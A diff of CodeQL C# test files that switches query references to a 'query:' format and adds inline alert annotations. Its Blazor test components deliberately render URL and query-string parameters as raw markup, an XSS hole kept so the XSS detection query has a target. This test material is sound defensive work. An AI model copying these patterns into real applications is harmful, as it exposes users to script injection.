b/csharp/ql/test/library-tests/csharp7.3/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/csharp7.3/PrintAst.qlref +++ b/csharp/ql/test/library-tests/csharp7.3/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/csharp7/PrintAst.qlref b/csharp/ql/test/library-tests/csharp7/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/csharp7/PrintAst.qlref +++ b/csharp/ql/test/library-tests/csharp7/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/csharp8/PrintAst.qlref b/csharp/ql/test/library-tests/csharp8/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/csharp8/PrintAst.qlref +++ b/csharp/ql/test/library-tests/csharp8/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/csharp9/PrintAst.qlref b/csharp/ql/test/library-tests/csharp9/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/csharp9/PrintAst.qlref +++ b/csharp/ql/test/library-tests/csharp9/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/dataflow/implicittostring/PrintAst.qlref b/csharp/ql/test/library-tests/dataflow/implicittostring/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/dataflow/implicittostring/PrintAst.qlref +++ b/csharp/ql/test/library-tests/dataflow/implicittostring/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/dataflow/tuples/PrintAst.qlref b/csharp/ql/test/library-tests/dataflow/tuples/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/dataflow/tuples/PrintAst.qlref +++ b/csharp/ql/test/library-tests/dataflow/tuples/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/definitions/PrintAst.qlref b/csharp/ql/test/library-tests/definitions/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/definitions/PrintAst.qlref +++ b/csharp/ql/test/library-tests/definitions/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/definitions/definitions.qlref b/csharp/ql/test/library-tests/definitions/definitions.qlref index 11e03f5ab070..89fab02d1037 100644 --- a/csharp/ql/test/library-tests/definitions/definitions.qlref +++ b/csharp/ql/test/library-tests/definitions/definitions.qlref @@ -1 +1 @@ -definitions.ql \ No newline at end of file +query: definitions.ql diff --git a/csharp/ql/test/library-tests/delegates/PrintAst.qlref b/csharp/ql/test/library-tests/delegates/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/delegates/PrintAst.qlref +++ b/csharp/ql/test/library-tests/delegates/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/diagnostics/DiagnosticExtractorErrors.qlref b/csharp/ql/test/library-tests/diagnostics/DiagnosticExtractorErrors.qlref index 7068705cc1be..498f8bf078e9 100644 --- a/csharp/ql/test/library-tests/diagnostics/DiagnosticExtractorErrors.qlref +++ b/csharp/ql/test/library-tests/diagnostics/DiagnosticExtractorErrors.qlref @@ -1 +1 @@ -Diagnostics/DiagnosticExtractionErrors.ql +query: Diagnostics/DiagnosticExtractionErrors.ql diff --git a/csharp/ql/test/library-tests/diagnostics/ExtractedFiles.qlref b/csharp/ql/test/library-tests/diagnostics/ExtractedFiles.qlref index e900e9c5314b..58bc903a431d 100644 --- a/csharp/ql/test/library-tests/diagnostics/ExtractedFiles.qlref +++ b/csharp/ql/test/library-tests/diagnostics/ExtractedFiles.qlref @@ -1 +1 @@ -Diagnostics/ExtractedFiles.ql +query: Diagnostics/ExtractedFiles.ql diff --git a/csharp/ql/test/library-tests/dynamic/PrintAst.qlref b/csharp/ql/test/library-tests/dynamic/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/dynamic/PrintAst.qlref +++ b/csharp/ql/test/library-tests/dynamic/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/enums/PrintAst.qlref b/csharp/ql/test/library-tests/enums/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/enums/PrintAst.qlref +++ b/csharp/ql/test/library-tests/enums/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/events/PrintAst.qlref b/csharp/ql/test/library-tests/events/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/events/PrintAst.qlref +++ b/csharp/ql/test/library-tests/events/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/exceptions/PrintAst.qlref b/csharp/ql/test/library-tests/exceptions/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/exceptions/PrintAst.qlref +++ b/csharp/ql/test/library-tests/exceptions/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/expressions/PrintAst.qlref b/csharp/ql/test/library-tests/expressions/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/expressions/PrintAst.qlref +++ b/csharp/ql/test/library-tests/expressions/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/extension/PrintAst.qlref b/csharp/ql/test/library-tests/extension/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/extension/PrintAst.qlref +++ b/csharp/ql/test/library-tests/extension/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/fields/PrintAst.qlref b/csharp/ql/test/library-tests/fields/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/fields/PrintAst.qlref +++ b/csharp/ql/test/library-tests/fields/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/filters/ClassifyFiles/ClassifyFiles.qlref b/csharp/ql/test/library-tests/filters/ClassifyFiles/ClassifyFiles.qlref index 638bf4567627..612f5dfb3322 100644 --- a/csharp/ql/test/library-tests/filters/ClassifyFiles/ClassifyFiles.qlref +++ b/csharp/ql/test/library-tests/filters/ClassifyFiles/ClassifyFiles.qlref @@ -1 +1 @@ -filters/ClassifyFiles.ql \ No newline at end of file +query: filters/ClassifyFiles.ql diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Components_Pages_TestPage_razor.g.cs b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Components_Pages_TestPage_razor.g.cs index 8732f8c7e4be..372ee49242fd 100644 --- a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Components_Pages_TestPage_razor.g.cs +++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Components_Pages_TestPage_razor.g.cs @@ -135,7 +135,7 @@ protected override void BuildRenderTree(global::Microsoft.AspNetCore.Components. __builder.AddContent(18, "Raw parameter from URL: "); __builder.AddContent(19, #nullable restore -(MarkupString)UrlParam +(MarkupString)UrlParam // $ Alert[cs/web/xss]=r1 $ Alert[cs/web/xss]=r1 #line default #line hidden @@ -185,7 +185,7 @@ protected override void BuildRenderTree(global::Microsoft.AspNetCore.Components. __builder.AddContent(35, "Raw parameter from query string: "); __builder.AddContent(36, #nullable restore -new MarkupString(QueryParam) +new MarkupString(QueryParam) // $ Alert[cs/web/xss]=r2 $ Alert[cs/web/xss]=r2 #line default #line hidden diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Name.cs b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Name.cs index a9d098470e44..344f5cbf6ac3 100644 --- a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Name.cs +++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Name.cs @@ -10,7 +10,7 @@ protected override void BuildRenderTree(Microsoft.AspNetCore.Components.Renderin { builder.OpenElement(0, "div"); builder.OpenElement(1, "p"); - builder.AddContent(2, (MarkupString)TheName); + builder.AddContent(2, (MarkupString)TheName); // $ Alert[cs/web/xss]=r3 $ Alert[cs/web/xss]=r4 builder.CloseElement(); builder.CloseElement(); } @@ -19,4 +19,4 @@ protected override void BuildRenderTree(Microsoft.AspNetCore.Components.Renderin [Parameter] public string TheName { get; set; } } -} \ No newline at end of file +} diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList.cs b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList.cs index ceffb35303e5..31126310dff1 100644 --- a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList.cs +++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList.cs @@ -28,7 +28,7 @@ protected override void BuildRenderTree(Microsoft.AspNetCore.Components.Renderin builder.OpenElement(6, "p"); builder.AddContent(7, "Name: "); builder.OpenComponent(8); - builder.AddComponentParameter(9, nameof(VulnerableBlazorApp.Components.Name.TheName), Name); + builder.AddComponentParameter(9, nameof(VulnerableBlazorApp.Components.Name.TheName), Name); // $ Source[cs/web/xss]=r4 builder.CloseComponent(); builder.CloseElement(); } @@ -47,4 +47,4 @@ protected override void OnParametersSet() public List Names { get; set; } = new List(); } -} \ No newline at end of file +} diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList2.cs b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList2.cs index d27d6f2dcde9..fc6298943d3a 100644 --- a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList2.cs +++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/NameList2.cs @@ -28,7 +28,7 @@ protected override void BuildRenderTree(Microsoft.AspNetCore.Components.Renderin builder.OpenElement(6, "p"); builder.AddContent(7, "Name: "); builder.OpenComponent(8); - builder.AddComponentParameter(9, "TheName", Name); + builder.AddComponentParameter(9, "TheName", Name); // $ Source[cs/web/xss]=r3 builder.CloseComponent(); builder.CloseElement(); } @@ -47,4 +47,4 @@ protected override void OnParametersSet() public List Names { get; set; } = new List(); } -} \ No newline at end of file +} diff --git a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.qlref b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.qlref index 89b5b951bdb6..a71d47846701 100644 --- a/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.qlref +++ b/csharp/ql/test/library-tests/frameworks/microsoft/aspnetcore/blazor/Xss.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-079/XSS.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/library-tests/generics/PrintAst.qlref b/csharp/ql/test/library-tests/generics/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/generics/PrintAst.qlref +++ b/csharp/ql/test/library-tests/generics/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/goto/PrintAst.qlref b/csharp/ql/test/library-tests/goto/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/goto/PrintAst.qlref +++ b/csharp/ql/test/library-tests/goto/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/indexers/PrintAst.qlref b/csharp/ql/test/library-tests/indexers/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/indexers/PrintAst.qlref +++ b/csharp/ql/test/library-tests/indexers/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/initializers/PrintAst.qlref b/csharp/ql/test/library-tests/initializers/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/initializers/PrintAst.qlref +++ b/csharp/ql/test/library-tests/initializers/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/linq/PrintAst.qlref b/csharp/ql/test/library-tests/linq/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/linq/PrintAst.qlref +++ b/csharp/ql/test/library-tests/linq/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/members/PrintAst.qlref b/csharp/ql/test/library-tests/members/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/members/PrintAst.qlref +++ b/csharp/ql/test/library-tests/members/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/methods/PrintAst.qlref b/csharp/ql/test/library-tests/methods/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/methods/PrintAst.qlref +++ b/csharp/ql/test/library-tests/methods/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/nameof/PrintAst.qlref b/csharp/ql/test/library-tests/nameof/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/nameof/PrintAst.qlref +++ b/csharp/ql/test/library-tests/nameof/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/namespaces/PrintAst.qlref b/csharp/ql/test/library-tests/namespaces/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/namespaces/PrintAst.qlref +++ b/csharp/ql/test/library-tests/namespaces/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/nestedtypes/PrintAst.qlref b/csharp/ql/test/library-tests/nestedtypes/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/nestedtypes/PrintAst.qlref +++ b/csharp/ql/test/library-tests/nestedtypes/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/operators/PrintAst.qlref b/csharp/ql/test/library-tests/operators/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/operators/PrintAst.qlref +++ b/csharp/ql/test/library-tests/operators/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/partial/PrintAst.qlref b/csharp/ql/test/library-tests/partial/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/partial/PrintAst.qlref +++ b/csharp/ql/test/library-tests/partial/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/properties/PrintAst.qlref b/csharp/ql/test/library-tests/properties/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/properties/PrintAst.qlref +++ b/csharp/ql/test/library-tests/properties/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/statements/PrintAst.qlref b/csharp/ql/test/library-tests/statements/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/statements/PrintAst.qlref +++ b/csharp/ql/test/library-tests/statements/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/stringinterpolation/PrintAst.qlref b/csharp/ql/test/library-tests/stringinterpolation/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/stringinterpolation/PrintAst.qlref +++ b/csharp/ql/test/library-tests/stringinterpolation/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/types/PrintAst.qlref b/csharp/ql/test/library-tests/types/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/types/PrintAst.qlref +++ b/csharp/ql/test/library-tests/types/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/library-tests/unsafe/PrintAst.qlref b/csharp/ql/test/library-tests/unsafe/PrintAst.qlref index f867dd01f9f8..1db66182b0ab 100644 --- a/csharp/ql/test/library-tests/unsafe/PrintAst.qlref +++ b/csharp/ql/test/library-tests/unsafe/PrintAst.qlref @@ -1 +1 @@ -shared/PrintAst.ql \ No newline at end of file +query: shared/PrintAst.ql diff --git a/csharp/ql/test/query-tests/API Abuse/CallToGCCollect/CallToGCCollect.qlref b/csharp/ql/test/query-tests/API Abuse/CallToGCCollect/CallToGCCollect.qlref index ca6961e370bf..c911197abb35 100644 --- a/csharp/ql/test/query-tests/API Abuse/CallToGCCollect/CallToGCCollect.qlref +++ b/csharp/ql/test/query-tests/API Abuse/CallToGCCollect/CallToGCCollect.qlref @@ -1 +1,2 @@ -API Abuse/CallToGCCollect.ql \ No newline at end of file +query: API Abuse/CallToGCCollect.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/API Abuse/CallToGCCollect/CallToGCCollectBad.cs b/csharp/ql/test/query-tests/API Abuse/CallToGCCollect/CallToGCCollectBad.cs index acc30b87c8d9..b081d201f10d 100644 --- a/csharp/ql/test/query-tests/API Abuse/CallToGCCollect/CallToGCCollectBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/CallToGCCollect/CallToGCCollectBad.cs @@ -4,6 +4,6 @@ class Bad { void M() { - GC.Collect(); + GC.Collect(); // $ Alert } } diff --git a/csharp/ql/test/query-tests/API Abuse/CallToObsoleteMethod/CallToObsoleteMethod.cs b/csharp/ql/test/query-tests/API Abuse/CallToObsoleteMethod/CallToObsoleteMethod.cs index c546c406f310..ea0ffeeb7645 100644 --- a/csharp/ql/test/query-tests/API Abuse/CallToObsoleteMethod/CallToObsoleteMethod.cs +++ b/csharp/ql/test/query-tests/API Abuse/CallToObsoleteMethod/CallToObsoleteMethod.cs @@ -16,7 +16,7 @@ static void NotObsoleteMethod() static void Main(string[] args) { // BAD: Call to obsolete method - ObsoleteMethod(); + ObsoleteMethod(); // $ Alert // GOOD: Call to non-obsolete method NotObsoleteMethod(); diff --git a/csharp/ql/test/query-tests/API Abuse/CallToObsoleteMethod/CallToObsoleteMethod.qlref b/csharp/ql/test/query-tests/API Abuse/CallToObsoleteMethod/CallToObsoleteMethod.qlref index 08b2c9a51d4e..028fb010e8ef 100644 --- a/csharp/ql/test/query-tests/API Abuse/CallToObsoleteMethod/CallToObsoleteMethod.qlref +++ b/csharp/ql/test/query-tests/API Abuse/CallToObsoleteMethod/CallToObsoleteMethod.qlref @@ -1 +1,2 @@ -API Abuse/CallToObsoleteMethod.ql \ No newline at end of file +query: API Abuse/CallToObsoleteMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/API Abuse/CallToObsoleteMethod/CallToObsoleteMethodBad.cs b/csharp/ql/test/query-tests/API Abuse/CallToObsoleteMethod/CallToObsoleteMethodBad.cs index c8c10de283d5..9ea4f5b80a44 100644 --- a/csharp/ql/test/query-tests/API Abuse/CallToObsoleteMethod/CallToObsoleteMethodBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/CallToObsoleteMethod/CallToObsoleteMethodBad.cs @@ -4,7 +4,7 @@ class Bad { void M() { - Logger.Log("Hello, World!"); + Logger.Log("Hello, World!"); // $ Alert } static class Logger diff --git a/csharp/ql/test/query-tests/API Abuse/ClassDoesNotImplementEquals/ClassDoesNotImplementEquals.cs b/csharp/ql/test/query-tests/API Abuse/ClassDoesNotImplementEquals/ClassDoesNotImplementEquals.cs index a2e5f7333e9e..865b31f2ca07 100644 --- a/csharp/ql/test/query-tests/API Abuse/ClassDoesNotImplementEquals/ClassDoesNotImplementEquals.cs +++ b/csharp/ql/test/query-tests/API Abuse/ClassDoesNotImplementEquals/ClassDoesNotImplementEquals.cs @@ -1,7 +1,7 @@ using System; // BAD -class Incorrect +class Incorrect // $ Alert { public static bool operator ==(Incorrect a, Incorrect b) => default(bool); public static bool operator !=(Incorrect a, Incorrect b) => !(a == b); @@ -21,7 +21,7 @@ class Correct } // BAD: needs to redefine Equals -class IncorrectOverrides : Correct +class IncorrectOverrides : Correct // $ Alert { public static bool operator ==(IncorrectOverrides a, IncorrectOverrides b) => default(bool); public static bool operator !=(IncorrectOverrides a, IncorrectOverrides b) => !(a == b); @@ -47,7 +47,7 @@ static void Main(string[] args) } // BAD: should also implement Equals. -class MyEquatable : IEquatable +class MyEquatable : IEquatable // $ Alert { public bool Equals(MyEquatable other) { diff --git a/csharp/ql/test/query-tests/API Abuse/ClassDoesNotImplementEquals/ClassDoesNotImplementEquals.qlref b/csharp/ql/test/query-tests/API Abuse/ClassDoesNotImplementEquals/ClassDoesNotImplementEquals.qlref index 5ffe8a70dec4..9b025e76c304 100644 --- a/csharp/ql/test/query-tests/API Abuse/ClassDoesNotImplementEquals/ClassDoesNotImplementEquals.qlref +++ b/csharp/ql/test/query-tests/API Abuse/ClassDoesNotImplementEquals/ClassDoesNotImplementEquals.qlref @@ -1 +1,2 @@ -API Abuse/ClassDoesNotImplementEquals.ql \ No newline at end of file +query: API Abuse/ClassDoesNotImplementEquals.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/API Abuse/ClassDoesNotImplementEquals/ClassDoesNotImplementEqualsBad.cs b/csharp/ql/test/query-tests/API Abuse/ClassDoesNotImplementEquals/ClassDoesNotImplementEqualsBad.cs index 619f462a96c8..305bd87c2cf8 100644 --- a/csharp/ql/test/query-tests/API Abuse/ClassDoesNotImplementEquals/ClassDoesNotImplementEqualsBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/ClassDoesNotImplementEquals/ClassDoesNotImplementEqualsBad.cs @@ -21,7 +21,7 @@ public override bool Equals(object obj) } } - class GasolineCar : Car + class GasolineCar : Car // $ Alert { protected bool unleaded; diff --git a/csharp/ql/test/query-tests/API Abuse/ClassImplementsICloneable/ClassImplementsICloneable.qlref b/csharp/ql/test/query-tests/API Abuse/ClassImplementsICloneable/ClassImplementsICloneable.qlref index e597d142a2d1..65eb6ca729d1 100644 --- a/csharp/ql/test/query-tests/API Abuse/ClassImplementsICloneable/ClassImplementsICloneable.qlref +++ b/csharp/ql/test/query-tests/API Abuse/ClassImplementsICloneable/ClassImplementsICloneable.qlref @@ -1 +1,2 @@ -API Abuse/ClassImplementsICloneable.ql \ No newline at end of file +query: API Abuse/ClassImplementsICloneable.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/API Abuse/ClassImplementsICloneable/ClassImplementsICloneableBad.cs b/csharp/ql/test/query-tests/API Abuse/ClassImplementsICloneable/ClassImplementsICloneableBad.cs index 0999bd87d281..e1636158bf2f 100644 --- a/csharp/ql/test/query-tests/API Abuse/ClassImplementsICloneable/ClassImplementsICloneableBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/ClassImplementsICloneable/ClassImplementsICloneableBad.cs @@ -8,7 +8,7 @@ class Thing public Thing(int i) { I = i; } } - class Shallow : ICloneable + class Shallow : ICloneable // $ Alert { public Thing T { get; set; } public Shallow(Thing t) { T = t; } @@ -17,7 +17,7 @@ class Shallow : ICloneable public object Clone() { return new Shallow(T); } } - class Deep : ICloneable + class Deep : ICloneable // $ Alert { public Thing T { get; set; } public Deep(Thing t) { T = t; } diff --git a/csharp/ql/test/query-tests/API Abuse/DisposeNotCalledOnException/DisposeNotCalledOnException.cs b/csharp/ql/test/query-tests/API Abuse/DisposeNotCalledOnException/DisposeNotCalledOnException.cs index acde0fc477f7..31505eb740c6 100644 --- a/csharp/ql/test/query-tests/API Abuse/DisposeNotCalledOnException/DisposeNotCalledOnException.cs +++ b/csharp/ql/test/query-tests/API Abuse/DisposeNotCalledOnException/DisposeNotCalledOnException.cs @@ -45,17 +45,17 @@ public void Method() // BAD: No Dispose call in case of exception SqlConnection c1d = new SqlConnection(); c1d.Open(); - c1d.Dispose(); + c1d.Dispose(); // $ Alert // BAD: No Dispose call in case of exception SqlConnection c1e = new SqlConnection(); Throw1(c1e); - c1e.Dispose(); + c1e.Dispose(); // $ Alert // BAD: No Dispose call in case of exception SqlConnection c1f = new SqlConnection(); Throw2(c1f); - c1f.Dispose(); + c1f.Dispose(); // $ Alert // GOOD: using declaration using SqlConnection c2 = new SqlConnection(""); diff --git a/csharp/ql/test/query-tests/API Abuse/DisposeNotCalledOnException/DisposeNotCalledOnException.qlref b/csharp/ql/test/query-tests/API Abuse/DisposeNotCalledOnException/DisposeNotCalledOnException.qlref index d55f9b7dcba7..4273ca0a55c6 100644 --- a/csharp/ql/test/query-tests/API Abuse/DisposeNotCalledOnException/DisposeNotCalledOnException.qlref +++ b/csharp/ql/test/query-tests/API Abuse/DisposeNotCalledOnException/DisposeNotCalledOnException.qlref @@ -1 +1,2 @@ -API Abuse/DisposeNotCalledOnException.ql \ No newline at end of file +query: API Abuse/DisposeNotCalledOnException.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/API Abuse/DisposeNotCalledOnException/DisposeNotCalledOnExceptionBad.cs b/csharp/ql/test/query-tests/API Abuse/DisposeNotCalledOnException/DisposeNotCalledOnExceptionBad.cs index c0674285bba1..22827a1e3d03 100644 --- a/csharp/ql/test/query-tests/API Abuse/DisposeNotCalledOnException/DisposeNotCalledOnExceptionBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/DisposeNotCalledOnException/DisposeNotCalledOnExceptionBad.cs @@ -11,8 +11,8 @@ public SqlDataReader GetAllCustomers() var cmd = new SqlCommand("SELECT * FROM Customers", conn); var ret = cmd.ExecuteReader(); - cmd.Dispose(); - conn.Dispose(); + cmd.Dispose(); // $ Alert + conn.Dispose(); // $ Alert return ret; } diff --git a/csharp/ql/test/query-tests/API Abuse/InconsistentEqualsGetHashCode/InconsistentEqualsGetHashCode.cs b/csharp/ql/test/query-tests/API Abuse/InconsistentEqualsGetHashCode/InconsistentEqualsGetHashCode.cs index 8e8b8f8430b3..f05764f99c55 100644 --- a/csharp/ql/test/query-tests/API Abuse/InconsistentEqualsGetHashCode/InconsistentEqualsGetHashCode.cs +++ b/csharp/ql/test/query-tests/API Abuse/InconsistentEqualsGetHashCode/InconsistentEqualsGetHashCode.cs @@ -1,6 +1,6 @@ using System; -class ClassMissingGetHashCode +class ClassMissingGetHashCode // $ Alert { public override bool Equals(object other) { @@ -13,7 +13,7 @@ public override bool Equals(object other) } } -class ClassMissingEquals +class ClassMissingEquals // $ Alert { public new bool Equals(object other) { // not overridden diff --git a/csharp/ql/test/query-tests/API Abuse/InconsistentEqualsGetHashCode/InconsistentEqualsGetHashCode.qlref b/csharp/ql/test/query-tests/API Abuse/InconsistentEqualsGetHashCode/InconsistentEqualsGetHashCode.qlref index 6425e440f739..26171a4ca75d 100644 --- a/csharp/ql/test/query-tests/API Abuse/InconsistentEqualsGetHashCode/InconsistentEqualsGetHashCode.qlref +++ b/csharp/ql/test/query-tests/API Abuse/InconsistentEqualsGetHashCode/InconsistentEqualsGetHashCode.qlref @@ -1 +1,2 @@ -API Abuse/InconsistentEqualsGetHashCode.ql \ No newline at end of file +query: API Abuse/InconsistentEqualsGetHashCode.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/API Abuse/InconsistentEqualsGetHashCode/InconsistentEqualsGetHashCodeBad.cs b/csharp/ql/test/query-tests/API 